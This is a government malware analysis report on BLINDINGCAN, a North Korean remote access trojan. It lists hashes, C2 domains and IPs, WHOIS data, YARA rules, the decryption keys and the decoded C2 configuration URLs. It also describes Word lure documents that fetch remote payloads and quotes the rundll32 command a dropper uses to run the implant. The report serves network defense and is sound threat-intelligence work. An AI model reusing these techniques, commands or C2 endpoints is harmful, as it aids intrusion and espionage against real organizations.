Original release date: August 19, 2020

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Remote Access Trojan (RAT) malware variants used by the North Korean government. This malware variant has been identified as BLINDINGCAN. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit https[:]//www[.]us-cert.gov/hiddencobra.

FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation. A threat group with a nexus to North Korea targeted government contractors early this year to gather intelligence surrounding key military and energy technologies. The malicious documents employed in this campaign used job postings from leading defense contractors as lures and installed a data gathering implant on a victim’s system. This campaign utilized compromised infrastructure from multiple countries to host its command and control (C2) infrastructure and distribute implants to a victim’s system. CISA and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity.

This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation techniques. Users or administrators should flag activity associated with the malware and report the activity to CISA or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation. The threat actor whose activity is described in this report may have included images of logos and products, such as the examples in this report, as a part of a social engineering strategy.

CISA received four Microsoft Word Open Extensible Markup Language (XML) documents (.docx), two Dynamic-Link Libraries (DLLs). The .docx files attempt to connect to external domains for a download. A 32-bit and a 64-bit DLL was submitted that install a 32-bit and a 64-bit DLL named “iconcache.db” respectively. The DLL “iconcache.db” unpacks and executes a variant of Hidden Cobra RAT. It contains built-in functions for remote operations that provide various capabilities on a victim’s system.

For a downloadable copy of IOCs, see MAR-10295134-1.v1.stix.

Submitted Files (6)

0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6 (0FC12E03EE93D19003B2DD7117A66A…)

158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17 (2_7955fa7ab32773d17e0e94efeea6…)

586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e (1_6cea7290883f0527dbd3e2df6446…)

6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1 (4_e7aa0237fc3db67a96ebd877806a…)

7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971 (3_56470e113479eacda081c2eeead1…)

d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 (D40AD4CD39350D718E189ADF45703E…)

Additional Files (6)

58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d (58027c80c6502327863ddca28c31d3…)

7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd (7d507281e2e21476ff1af492ad9f57…)

8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050 (8b53b519623b56ab746fdaf14d3eb4…)

b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9 (iconcache.db)

bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1 (e7718609577c6e34221b03de7e959a…)

d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5 (iconcache.db)

Domains (4)

agarwalpropertyconsultants.com

anca-aste.it

automercado.co.cr

curiofirenze.com

IPs (4)

192.99.20.39

199.79.63.24

51.68.152.96

54.241.91.49

Findings

586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e

Tags

downloadertrojan

Details

Name
1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx

Size
184853 bytes

Type
Microsoft Word 2007+

MD5
6cea7290883f0527dbd3e2df64462684

SHA1
8d179113e963d81adbf8d39ceff456afac3dae16

SHA256
586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e

SHA512
6d84696445a9339709edc25dfaa36766bcbc1a63aa41386280307a6314c9838a1fb347785becb91346ac9ed8fffe3804e01910e69945c6f41c15a06591213643

ssdeep
3072:3wlGjFU9aU5M3Dr+YLLUb6WaTllr+YLLUb6WaTlmv13yK8RZOphF:3wl9aUOfJnUjaTltJnUjaTlmv178RyF

Entropy
6.246619

Antivirus

NANOAV
Exploit.Xml.CVE-2017-0199.equmby

YARA Rules

No matches found.

ssdeep Matches

97
6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1

Relationships

586d012540…
Connected_To
agarwalpropertyconsultants.com

Description

This file is a .docx file that is a zipped file containing XML files in a directory structure.

Once opened in an application capable of displaying .docx files, the XML file “1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx/word/_rels/settings.xml.rels” attempts to connect to the following Uniform Resource Locator (URL) for a download:

–Begin External URL–
hxxps[:]//agarwalpropertyconsultants.com/assets/form/template/img/boeing_ia_cm.jpg
–End External URL–

The download was not available at the time of analysis.

Screenshots

Figure 1 – Screenshot of “1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx”.

agarwalpropertyconsultants.com

Tags

command-and-control

URLs

hxxps[:]//agarwalpropertyconsultants.com/assets/form/template/img/boeing_ia_cm.jpg

Ports

443 TCP

Whois

Domain Name: AGARWALPROPERTYCONSULTANTS.COM
Registry Domain ID: 2430104516_DOMAIN_COM-VRSN
Registrar WHOIS Server: Whois.bigrock.com
Registrar URL: www.bigrock.com
Updated Date: 2019-11-05T02:16:36Z
Creation Date: 2019-09-05T06:07:18Z
Registrar Registration Expiration Date: 2020-09-05T06:07:18Z
Registrar: BigRock Solutions Ltd
Registrar IANA ID: 1495
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID: Not Available From Registry
Registrant City: Mumbai
Registrant State/Province: Other
Registrant Postal Code: 400102
Registrant Country: IN
Registry Admin ID: Not Available From Registry
Admin City: Mumbai
Admin State/Province: Other
Admin Postal Code: 400102
Admin Country: IN
Registry Tech ID: Not Available From Registry
Tech City: Mumbai
Tech State/Province: Other
Tech Postal Code: 400102
Tech Country: IN
Tech Phone: +91.9821112012
Name Server: ns1.bh-58.webhostbox.net
Name Server: ns2.bh-58.webhostbox.net
DNSSEC: Unsigned
Registrar Abuse Contact Email: abuse@bigrock.com
Registrar Abuse Contact Phone: +1-415-349-0015
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2020-06-30T20:21:25Z <<<

Relationships

agarwalpropertyconsultants.com
Connected_From
586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e

agarwalpropertyconsultants.com
Resolved_To
199.79.63.24

Description

“1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx” attempts to connect to this domain.

199.79.63.24

Whois

Queried whois.arin.net with “n 199.79.63.24″…

NetRange: 199.79.62.0 – 199.79.63.255
CIDR: 199.79.62.0/23
NetName: PUBLICDOMAINREGISTRY-NETWORKS
NetHandle: NET-199-79-62-0-1
Parent: NET199 (NET-199-0-0-0-0)
NetType: Direct Allocation
OriginAS: AS394695
Organization: PDR (PSUL-1)
RegDate: 2012-01-13
Updated: 2018-11-29
Ref: https://rdap.arin.net/registry/ip/199.79.62.0

OrgName: PDR
OrgId: PSUL-1
Address: P.D.R Solutions LLC, 10, Corporate Drive, Suite 300
City: Burlington
StateProv: MA
PostalCode: 01803
Country: US
RegDate: 2015-08-04
Updated: 2019-11-07
Ref: https://rdap.arin.net/registry/entity/PSUL-1

OrgAbuseHandle: ABUSE5185-ARIN
OrgAbuseName: Abuse Admin
OrgAbusePhone: +1-415-230-0648
OrgAbuseEmail: abuse@publicdomainregistry.com
OrgAbuseRef: https://rdap.arin.net/registry/entity/ABUSE5185-ARIN

OrgNOCHandle: NOC32406-ARIN
OrgNOCName: NOC
OrgNOCPhone: +1-415-230-0680
OrgNOCEmail: noc@publicdomainregistry.com
OrgNOCRef: https://rdap.arin.net/registry/entity/NOC32406-ARIN

OrgTechHandle: TECH953-ARIN
OrgTechName: Tech
OrgTechPhone: +1-415-230-0680
OrgTechEmail: ipadmin@publicdomainregistry.com
OrgTechRef: https://rdap.arin.net/registry/entity/TECH953-ARIN

OrgRoutingHandle: EIGAR-ARIN
OrgRoutingName: eig-arin
OrgRoutingPhone: +1-781-852-3200
OrgRoutingEmail: eig-net-team@endurance.com
OrgRoutingRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

OrgNOCHandle: EIGAR-ARIN
OrgNOCName: eig-arin
OrgNOCPhone: +1-781-852-3200
OrgNOCEmail: eig-net-team@endurance.com
OrgNOCRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

OrgDNSHandle: EIGAR-ARIN
OrgDNSName: eig-arin
OrgDNSPhone: +1-781-852-3200
OrgDNSEmail: eig-net-team@endurance.com
OrgDNSRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

OrgTechHandle: EIGAR-ARIN
OrgTechName: eig-arin
OrgTechPhone: +1-781-852-3200
OrgTechEmail: eig-net-team@endurance.com
OrgTechRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

Relationships

199.79.63.24
Resolved_To
agarwalpropertyconsultants.com

Description

Domain “agarwalpropertyconsultants.com” resolved to this Internet Protocol (IP) address during analysis.

158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17

Tags

downloaderloadertrojan

Details

Name
2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx

Size
521644 bytes

Type
Microsoft Word 2007+

MD5
7955fa7ab32773d17e0e94efeea69cf4

SHA1
e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a

SHA256
158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17

SHA512
aa773c54a764927c13db914169de9adde26210da8e223d54e206e9fa0b8720ded3d1fbfbbaf13d5cf40a46e1103f90889d6acb86b55515f01eec400a3de1e78d

ssdeep
12288:xnCB1YmAjh6oSdUocST5Uqpd4zRgE/CcftnPrqpd4zRgE/CcfI:tmA167dUo1FtpdSgEjlOpdSgEjA

Entropy
7.915680

Antivirus

McAfee
Trojan-FRVP!2F8066356BC3

NANOAV
Exploit.Xml.CVE-2017-0199.equmby

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

158ddb8561…
Connected_To
anca-aste.it

Description

This is a .docx file that is a zipped container of XML files in a directory structure.

Once opened in an application capable of displaying .docx files, the XML file “2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx/word/_rels/settings.xml.rels” attempts to connect to the following URL for a download:

–Begin External URL–
hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_iacm_logo.jpg
–End External URL–

The download was not available at the time of analysis.

Screenshots

Figure 2 – Screenshot of “2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx”.

7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971

Tags

downloaderloadertrojan

Details

Name
3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx

Size
521660 bytes

Type
Microsoft Word 2007+

MD5
56470e113479eacda081c2eeead153bf

SHA1
c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e

SHA256
7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971

SHA512
0111578f53189915a7f39f755087a283b60196283393d7979bc7a65f462c8af646579a57b0d4693bffdca0ceb92e2bad26720c4418b1cbb21ee2b216e7f763a5

ssdeep
12288:GaF6pLikGz2wx0zqb/RXkIUsYqpd4zRgE/CcfLqpd4zRgE/CcftKv:GaspLiewxgi/lkIUs5pdSgEj+pdSgEjG

Entropy
7.916144

Antivirus

Ahnlab
Downloader/Doc.Generic

Antiy
Trojan/Win32.Casdet

Avira
W97M/Dldr.Agent.iscqo

BitDefender
Trojan.GenericKD.33913186

ClamAV
Win.Malware.Agent-8366038-0

Comodo
Malware

Cyren
DOCX/Gamaredon.A.gen!Camelot

ESET
DOC/TrojanDownloader.Pterodo.A trojan

Emsisoft
Trojan.GenericKD.33913186 (B)

Ikarus
Trojan-Downloader.DOC.Agent

Lavasoft
Trojan.GenericKD.33913186

McAfee
Trojan-FRVP!AF83AD63D2E3

Microsoft Security Essentials
Trojan:Win32/Casdet!rfn

NANOAV
Exploit.Xml.CVE-2017-0199.equmby

NetGate
Trojan.Win32.Malware

Sophos
Troj/DocDl-ZFL

Symantec
Trojan.Gen.NPE

TrendMicro
Trojan.9A84BBAC

TrendMicro House Call
Trojan.9A84BBAC

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

7933716892…
Connected_To
anca-aste.it

Description

This is a .docx file that is a zipped container of XML files in a directory structure.

Once opened in an application capable of displaying .docx files, the XML file “3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx/word/_rels/settings.xml.rels” attempts to connect to the following URL for a download:

–Begin External URL–
hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_spectrolab_logo.jpg
–End External URL–

The download was not available at the time of analysis.

Screenshots

Figure 3 – Screenshot of “3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx”.

6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1

Tags

downloaderdropperloadertrojan

Details

Name
4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx

Size
184848 bytes

Type
Microsoft Word 2007+

MD5
e7aa0237fc3db67a96ebd877806a2c88

SHA1
0ecc687d741c7b009c648ef0de0a5d47213f37ff

SHA256
6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1

SHA512
771f7e5f68a48e38361f7b1b3c8cc5181a456582515d9b694f98cacd7c33e06dfb994d082c3d009b432fb9f9ecd1f3b194e92b998c203e4e4fa7b93bf6711820

ssdeep
3072:3wlGjFU9aU5M3Dr+YLLUb6WaTllr+YLLUb6WaTlmv13fK8RZOphN:3wl9aUOfJnUjaTltJnUjaTlmv1y8RyN

Entropy
6.246580

Antivirus

Ahnlab
Downloader/MSOffice.Generic

Antiy
Trojan[Exploit]/MSOffice.CVE-2017-0199

Avira
W97M/Dldr.Agent.axzdz

ClamAV
Win.Malware.Agent-8366007-0

ESET
DOC/TrojanDownloader.Agent.BHQ trojan

Ikarus
Trojan-Downloader.DOC.Agent

McAfee
Trojan-FRVP!63178C414AF9

Microsoft Security Essentials
Exploit:O97M/CVE-2017-0199!MTB

NANOAV
Exploit.Xml.CVE-2017-0199.equmby

NetGate
Trojan.Win32.Malware

Sophos
Troj/DocDl-YVZ

Symantec
Trojan.Mdropper

TrendMicro
TROJ_FR.9B7AA4A0

TrendMicro House Call
TROJ_FR.9B7AA4A0

YARA Rules

No matches found.

ssdeep Matches

97
586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e

Relationships

6a3446b8a4…
Connected_To
anca-aste.it

Description

This is a .docx file that is a zipped container of XML files in a directory structure.

Once opened in an application capable of displaying .docx files, one of its XML files (4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx/word/_rels/settings.xml.rels) connects to the following URL for a download.

–Begin External URL–
hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_jd_t034519.jpg
–End External URL–

The download was not available at the time of analysis.

Screenshots

Figure 4 – Screenshot of “4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx”.

anca-aste.it

Tags

command-and-control

URLs

hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_iacm_logo.jpg
hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_jd_t034519.jpg
hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_spectrolab_logo.jpg

Ports

443 TCP

Whois

Domain: anca-aste.it
Status: ok
Signed: no
Created: 2006-03-02 00:00:00
Last Update: 2019-07-22 01:05:20
Expire Date: 2020-07-06

Registrant
Created: 2017-07-05 14:28:22
Last Update: 2017-07-05 14:28:22

Admin Contact
Name: Gabriele Crepaldi
Organization: Gabriele Crepaldi
Address: Via Della Spiga 52, Milano, 20121, MI, IT
Created: 2017-07-05 14:28:22
Last Update: 2017-07-05 14:28:22

Technical Contacts
Name: hidden
Organization: hidden

Registrar
Organization: CWNET srl
Name: CWNET-REG
Web: http://www.cwnet.it
DNSSEC: no

Nameservers
ns.thetiscloud1.it
ns.thetiscloud2.it

Relationships

anca-aste.it
Resolved_To
51.68.152.96

anca-aste.it
Connected_From
6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1

anca-aste.it
Connected_From
158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17

anca-aste.it
Connected_From
7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971

Description

Files “2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx”,
“3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx” and
“4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx” attempt to connect to this domain.

51.68.152.96

Whois

Queried whois.ripe.net with “-B 51.68.152.96″…

% Information related to ‘51.68.152.0 – 51.68.155.255’

% Abuse contact for ‘51.68.152.0 – 51.68.155.255’ is ‘abuse@ovh.net’

inetnum:        51.68.152.0 – 51.68.155.255
netname:        SD-1G-WAW1-W13B
country:        PL
org:            ORG-OS23-RIPE
admin-c:        OTC12-RIPE
tech-c:         OTC12-RIPE
status:         LEGACY
mnt-by:         OVH-MNT
created:        2018-07-27T14:04:34Z
last-modified: 2018-07-31T15:24:23Z
source:         RIPE
geoloc:         52.225524 21.049737

organisation: ORG-OS23-RIPE
org-name:     OVH Sp. z o. o.
org-type:     OTHER
address:        ul. Swobodna 1
address:        50-088 Wroclaw
address:        Poland
e-mail:         noc@ovh.net
admin-c:        OTC2-RIPE
mnt-ref:        OVH-MNT
mnt-by:         OVH-MNT
created:        2005-09-02T12:40:01Z
last-modified: 2019-08-08T07:47:57Z
source:         RIPE

role:         OVH PL Technical Contact
address:        OVH Sp. z o. o.
address:        ul. Swobodna 1
address:        54-088 Wroclaw
address:        Poland
e-mail:         noc@ovh.net
admin-c:        OK217-RIPE
tech-c:         GM84-RIPE
nic-hdl:        OTC12-RIPE
abuse-mailbox: abuse@ovh.net
notify:         noc@ovh.net
mnt-by:         OVH-MNT
created:        2009-09-16T16:09:56Z
last-modified: 2019-08-08T07:50:01Z
source:         RIPE

% Information related to ‘51.68.0.0/16AS16276’

route:         51.68.0.0/16
origin:         AS16276
mnt-by:         OVH-MNT
created:        2018-03-07T09:22:39Z
last-modified: 2018-03-07T09:22:39Z
source:         RIPE

% This query was served by the RIPE Database Query Service version 1.97.2 (HEREFORD)

Relationships

51.68.152.96
Resolved_To
anca-aste.it

Description

Domain “anca-aste.it” resolved to this IP during analysis.

d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9

Tags

droppertrojan

Details

Name
D40AD4CD39350D718E189ADF45703EB3A3935A7CF8062C20C663BC14D28F78C9

Size
724480 bytes

Type
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

MD5
18cfd7e01da5d30a27a885164d5a7b9b

SHA1
40c5103cd9681a2830667957f3e3d037fd25b6c9

SHA256
d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9

SHA512
6724ed963fa7ffd1cb3b76a72890b385bcd080a66428f18531f1432a973896d98e9405bd02952ae81b4a6d6294a73cde5911e9998e4f9dae53a2a385ab78e036

ssdeep
12288:u4VYMsRKftZAli/I9j2OShndRYMaU4vdXScW2EmBYWK323b1zvpjUSqon01y:jwKbA9XSJ4i4vdEGYfahBjk5

Entropy
7.960508

Antivirus

BitDefender
Gen:Trojan.Heur.Su4@!RdqOMbi

Emsisoft
Gen:Trojan.Heur.Su4@!RdqOMbi (B)

Lavasoft
Gen:Trojan.Heur.Su4@!RdqOMbi

Symantec
Heur.AdvML.B

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2020-05-20 02:03:53-04:00

Import Hash
513e6f9be441b608d02560144adad488

PE Sections

MD5
Name
Raw Size
Entropy

6dead31f52ae9c89182635c7bc5363ff
header
1024
2.447679

4eb9a889d49c201486c6a9844c0a3861
.text
28160
6.512256

2564f80bde6880569bc81d572ffd85c6
.rdata
9216
4.772079

4f06d9f35e1f31817d4205f0cda45316
.data
680448
7.992807

aedd1ea7e39bc6c20eb7c1a31ee31945
.rsrc
512
5.114293

4de4bb5980c9ffde6d9809bca8589667
.reloc
5120
3.162603

Packers/Compilers/Cryptors

Microsoft Visual C++ DLL *sign by CodeRipper

Relationships

d40ad4cd39…
Dropped
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

Description

This application is a 32-bit DLL. Upon execution, it decodes an embedded Ultimate Packer for Executables (UPX) packed DLL using a hard-coded XOR key: “0x59”. The decoded DLL is installed and executed from “C:ProgramDataiconcache.db” (b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9) with the following command:

–Begin Command–
“C:WindowsSystem32rundll32.exe C:ProgramDataiconcache.db,SMain S-6-12-2371-68143633-837395-7851″
–End Command–

b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

Tags

obfuscatedremote-access-trojan

Details

Name
iconcache.db

Size
676864 bytes

Type
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed

MD5
c627db421adaaa320d3ac42396c89f8a

SHA1
dcf95cd96203e794724fc14e454e63fba9afe82a

SHA256
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

SHA512
bcc0a6688b5a282802700382d72e11663015946a95c701df82fdab164b6ef6889e180617a284e604e931ffc046ec1fd20ac6e20357ec916bada7df4711800290

ssdeep
12288:UloPYtyI4lSa/gwZyVJKlI/mjGENKw4tv1ALs7wboS:eoQp4lSWgwZy6lUkh4N2Ls7w

Entropy
7.994989

Path
C:ProgramDataiconcache.db

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2019-10-30 22:22:32-04:00

Import Hash
bddf350b1495019b036eb25682895735

Company Name
TODO: <Company name>

File Description
TODO: <File description>

Internal Name
MFC_DLL.dll

Legal Copyright
TODO: (c) <Company name>. All rights reserved.

Original Filename
MFC_DLL.dll

Product Name
TODO: <Product name>

Product Version
1.0.0.1

PE Sections

MD5
Name
Raw Size
Entropy

ee27480742e19dfbbedf334ca52aafa5
header
1024
2.713911

d41d8cd98f00b204e9800998ecf8427e
UPX0
0
0.000000

f13bc7e5f532956e1c5490d27d9b9eb0
UPX1
670720
7.999480

80eb6e1fc17919b7444d34b73621166f
.rsrc
5120
3.981460

Packers/Compilers/Cryptors

ACProtect 1.3x – 1.4x DLL -> Risco Software Inc.

Relationships

b70e66d387…
Connected_To
curiofirenze.com

b70e66d387…
Connected_To
automercado.co.cr

b70e66d387…
Dropped_By
d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9

b70e66d387…
Contains
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

b70e66d387…
Contains
7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

Description

This application is a 32-bit UPX packed DLL installed by d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 into the C:ProgramDataiconcache.db” directory. During execution, it uses the Advanced Encryption Standard (AES) cipher to decrypt and then decompress two embedded DLL binaries “bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1” and “7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd” in memory. These binaries are loaded and executed in memory during runtime.

bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

Tags

backdoorremote-access-trojantrojan

Details

Name
e7718609577c6e34221b03de7e959a8c

Size
163840 bytes

Type
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

MD5
e7718609577c6e34221b03de7e959a8c

SHA1
97d24ac0d773f6260ab512fa496099b3289210db

SHA256
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

SHA512
95aab6ef454c364b63002df7949c33602964d0905b4a23511bd9462aa5037c71a933f8bf3a3d650be76926e92bcf39e362a047c2da3da727096d16c1187e0308

ssdeep
1536:/XhDZIPNWfFTIL1uWPgNquuGCoGSfYz57wmF87GbSaW1nqBQlBS4AF3TIhrim:/xwWmBLPgNZeTSfE5UmfQqT3TIhW

Entropy
5.585632

Antivirus

Ahnlab
Backdoor/Win32.Akdoor

ESET
a variant of Win32/NukeSped.GT trojan

Symantec
Heur.AdvML.B

YARA Rules

rule CISA_10135536_06 : trojan rat HIDDENCOBRA BLINDINGCAN
{
   meta:
       Author = “CISA Code & Media Analysis”
       Incident = “10135536”
       Date = “2018-05-04”
       Actor = “HiddenCobra”
       Category = “Trojan RAT”
       Family = “BLINDINGCAN”
       Description = “Detects 32bit HiddenCobra BLINDINGCAN Trojan RAT”
       MD5_1 = “f9e6c35dbb62101498ec755152a8a67b”
       SHA256_1 = “1ee75106a9113b116c54e7a5954950065b809e0bb4dd0a91dc76f778508c7954”
       MD5_2 = “d742ba8cf5b24affdf77bc6869da0dc5”
       SHA256_2 = “7dce6f30e974ed97a3ed024d4c62350f9396310603e185a753b63a1f9a2d5799”
       MD5_3 = “aefcd8e98a231bccbc9b2c6d578fc8f3”
       SHA256_3 = “96721e13bae587c75618566111675dec2d61f9f5d16e173e69bb42ad7cb2dd8a”
       MD5_4 = “3a6b48871abbf2a1ce4c89b08bc0b7d8”
       SHA256_4 = “f71d67659baf0569143874d5d1c5a4d655c7d296b2e86be1b8f931c2335c0cd3”
   strings:
       $s0 = { C7 45 EC 0D 06 09 2A C7 45 F0 86 48 86 F7 C7 45 F4 0D 01 01 01 C7 45 F8 05 00 03 82 }
       $s1 = { 50 4D 53 2A 2E 74 6D 70 }
       $s2 = { 79 67 60 3C 77 F9 BA 77 7A 56 1B 68 51 26 11 96 B7 98 71 39 82 B0 81 78 }
   condition:
       any of them
}
rule CISA_10295134_01 : rat trojan HIDDENCOBRA BLINDINGCAN
{
   meta:
       Author = “CISA Code & Media Analysis”
       Incident = “10295134”
       Date = “2020-07-28”
       Last_Modified = “20200730_1030”
       Actor = “HiddenCobra”
       Category = “Trojan RAT”
       Family = “BLINDINGCAN”
       Description = “Detects 32 and 64bit HiddenCobra BlindingCan Trojan RAT”
       MD5_1 = “e7718609577c6e34221b03de7e959a8c”
       SHA256_1 = “bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1”
       MD5_2 = “6c2d15114ebdd910a336b6b147512a74”
       SHA256_2 = “58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d”
   strings:
       $s0 = { C7 44 24 20 0D 06 09 2A C7 44 24 24 86 48 86 F7 C7 44 24 28 0D 01 01 01 C7 44 24 2C 05 00 03 82 }
       $s1 = { C7 45 EC 0D 06 09 2A C7 45 F0 86 48 86 F7 C7 45 F4 0D 01 01 01 C7 45 F8 05 00 03 82 }
   condition:
       $s0 or $s1
}

ssdeep Matches

93
5665fa000b3cd52ceae755d35ca698e50cfb9c952cfdc70610b3a262e87be210

PE Metadata

Compile Date
2020-05-19 03:26:30-04:00

Import Hash
920679e3a916eba5c0309f6381f49d76

PE Sections

MD5
Name
Raw Size
Entropy

3c4d32746197a23e043dec30c3f17502
header
1024
2.462178

c7b7bc3bf34654bd45c303561f9359e1
.text
81920
6.658611

a0605f0296280e16d350cf78eb70a0d3
.rdata
25088
6.630270

88750685639a22c3e4bcb15f40390ff9
.data
12800
3.648302

51741feb8529e34f47173f59abe8b19b
.rsrc
512
5.105616

b87183316e04b075a0da8e286b297fdb
.reloc
7680
5.057386

Packers/Compilers/Cryptors

Microsoft Visual C++ DLL *sign by CodeRipper

Relationships

bdfd16dc53…
Contained_Within
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

bdfd16dc53…
Connected_To
curiofirenze.com

bdfd16dc53…
Connected_To
automercado.co.cr

Description

This application is a malicious 32-bit DLL unpacked and executed by “b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9”. This binary has been identified as a variant of a Hidden Cobra RAT. This file contains embedded configuration data (2704 bytes). The data is decrypted using a hard-coded AES decryption key “XEUFC1L3DF3C2ROU” before being decoded using an XOR cipher. Displayed below is the content of the decoded data:

–Begin configuration data–
hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp
hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp
hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp
